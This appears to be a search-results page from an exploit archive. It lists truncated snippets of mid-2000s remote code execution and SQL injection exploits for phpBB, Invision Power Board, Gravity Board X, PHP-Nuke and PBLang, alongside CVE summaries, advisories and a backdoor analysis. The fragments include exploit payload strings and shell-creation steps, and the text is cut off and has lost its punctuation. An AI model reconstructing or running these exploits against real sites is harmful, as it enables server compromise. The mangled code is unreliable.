436 matches found
Invision Power Board 2.1.5 - lastdate Remote Code Execution
Invision Power Board 2.1.5 - lastdate Remote Code Execution !/usr/bin/perl Invision Power Board 2. commands execution exploit by RST/GHC vulnerable versions new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die "- CONNECTION FAILED"; $login = s/./"%".ucsprintf"%2.2x",ord$1/eg; $password =...
CVE-2006-1966
CVE-2006-1966 targets an unspecified Fortinet product (possibly Fortinet28) and describes a remote denial-of-service via a small synflood to SMTP (TCP 25). The underlying cause and affected version details are not provided in the documents. The note mentions dispute that a protection feature trig...
phpBB 2.0.19 - user_sig_bbcode_uid Remote Code Execution
phpBB 2.0.19 - usersigbbcodeuid Remote Code Execution !/usr/bin/perl r57phpbba2e2.pl - phpBB admin 2 exec exploit version 2 based on usersigbbcodeuid bug tested on 2.0.12 , 2.0.13 , 2.0.19 -------------------------------------------- screen r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L...
Super strong 2 0 0 0 platform Shell ACKcmd Backdoor analysis-vulnerability warning-the black bar safety net
Description -=-=-=-=--= ACKcmd is to provide a Win2000 under remote command Shell is a backdoor, it uses TCP to transfer, but different from the normal TCP connection a three-way handshake, ACKcmd using only TCP ACK packets, so the General case can pass through firewalls and avoid IDS detection...
CVE-2006-1242
The ippushpendingframes function in Linux 2.4.x and 2.6.x before 2.6.16 increments the IP ID field when sending a RST after receiving unsolicited TCP SYN-ACK packets, which allows remote attackers to conduct an Idle Scan nmap -sI attack, which bypasses intended protections against such attacks...
CVE-2006-1242
The ippushpendingframes function in Linux 2.4.x and 2.6.x before 2.6.16 increments the IP ID field when sending a RST after receiving unsolicited TCP SYN-ACK packets, which allows remote attackers to conduct an Idle Scan nmap -sI attack, which bypasses intended protections against such attacks...
JOOMLA CMS 1.0.7 DoS & path disclosing
RST/GHC -- JOOMLA CMS -- ADVISORY 37 Product: Joomla Affected version: 1.0.7 Last version: 1.0.7 Vendor: Joomla! URL: http://www.joomla.org/ online demo: http://demo.joomla.org/ VULNERABILITY CLASS: DoS, path disclosing Product Description Joomla! is a Content Management System CMS created by the...
joomla.txt
RST/GHC -- JOOMLA CMS -- ADVISORY 37 Product: Joomla Affected version: 1.0.7 Last version: 1.0.7 Vendor: Joomla! URL: http://www.joomla.org/ online demo: http://demo.joomla.org/ VULNERABILITY CLASS: DoS, path disclosing Product Description Joomla! is a Content Management System CMS created by the...
Gravity Board X <= 1.1 (csscontent) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl Gravity Board X v1.1 possibly prior versions remote code execution exploit coded by 1dt.w0lf 14.08.2005 RST/GHC http://rst.void.ru http://ghc.ru use LWP::UserAgent; if@ARGV1 exit0; $path = $ARGV0; header; print "Creating shell... Please wait\n"; $...
Gravity Board X 1.1 - 'csscontent' Remote Code Execution
!/usr/bin/perl Gravity Board X v1.1 possibly prior versions remote code execution exploit coded by 1dt.w0lf 14.08.2005 RST/GHC http://rst.void.ru http://ghc.ru use LWP::UserAgent; if@ARGVnew or die; $res = $gr-get$path.'editcss.php?csscontent='; if$res-asstring = /unable to save changes/ print...
Gravity Board X 1.1 - csscontent Remote Code Execution
Gravity Board X 1.1 - csscontent Remote Code Execution !/usr/bin/perl Gravity Board X v1.1 possibly prior versions remote code execution exploit coded by 1dt.w0lf 14.08.2005 RST/GHC http://rst.void.ru http://ghc.ru use LWP::UserAgent; if@ARGVnew or die; $res =...
win32 Download & Exec Shellcode 226 bytes+
Exploit for win32 platform in category shellcode ========================================== win32 Download & Exec Shellcode 226 bytes+ ========================================== / \ WINSHELLCODE / :: win32 download & exec shellcode :: \ :: by Darkeagle of Unl0ck Research Team http://exploiterz.or...
phpBB <= 2.0.17 (signature_bbcode_uid) Remote Command Exploit
Exploit for unknown platform in category web applications ============================================================= phpBB new or die; $cookiejar = HTTP::Cookies-new; for$i=0;$icookiejar $cookiejar ; $res = $xpl-post $path.'profile.php?GLOBALSsignaturebbcodeuid=.%2B/e%00', Content = 'username'...
phpBB 2.0.17 - signature_bbcode_uid Remot Command
phpBB 2.0.17 - signaturebbcodeuid Remot Command !/usr/bin/perl phpBB new or die; $cookiejar = HTTP::Cookies-new; for$i=0;$icookiejar $cookiejar ; $res = $xpl-post $path.'profile.php?GLOBALSsignaturebbcodeuid=.%2B/e%00', Content = 'username' = $name, 'email' = $rand.'[email protected]',...
Subdreamer 2.2.1 - SQL Injection Command Execution
Subdreamer 2.2.1 - SQL Injection Command Execution !/usr/bin/perl Subdreamer 2.2.1 command exec exploit @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ supported targets: without forum integration with phpBB2 integration with ipb2 integration with vbulletin2...
SEO borad: SQL injection
Product: SEO-Board Version: 1.02 Author: Hristo Hristov URL: http://seo-board.com VULNERABILITY CLASS: SQL injection through cookie PRODUCT DESCRIPTION SEO-Board is a forum software that's fast, free, and search engine friendly. It is written in PHP and use MySQL database. VULNERABILITY Vulnerabl...
PHP-Nuke 7.8 - 'modules.php' SQL Injection
/ PHP-Nuke 4.0 coded by 1dt.w0lf RST/GHC http://rst.void.ru http://ghc.ru / // tested on 7.8 include include include include include include include define START 47 define END 103 define SZ 1024 define PORT 80 define PREFIX "nuke" define SQL...
PHP-Nuke <= 7.8 (modules.php) SQL Injection Exploit
No description provided by source. / PHP-Nuke =7.8 SQL injection exploit need MySQL 4.0 coded by 1dt.w0lf RST/GHC http://rst.void.ru http://ghc.ru / // tested on 7.8 include stdio.h include string.h include sys/types.h include sys/socket.h include netinet/in.h include netdb.h include regex.h defi...
pblang465.php.txt
php.exe ..\www\r57pblang465.php localhost /pbl/ "pblcookie732128=Pe ng0; PBLsecid=a4c2f845c002ac54f5751440647f3c91;" Peng0 PrSrS $ARGV = $SERVER'argv'; global $ARGV; ifcount$ARGV == 0 echo base64decode"3fLu8iDx6vDo7/Ig5O7r5uXtIOH78vwg5+Dv8/nl7SDo5yDq7uzg7eTt7u...
PBLang <= 4.65 Remote Command Execution Exploit (2)
No description provided by source. ?php | | | PBLang = 4.65 remote commands exec exploit | | tested on 4.65 | | coded by Pengo 2005 RST/GHC | | http://rst.void.ru | | http://ghc.ru | | | WARNING! This exploit is successfully work when magicquotesrpc off = D:\httpd\phpphp.exe ..\www\r57pblang465.p...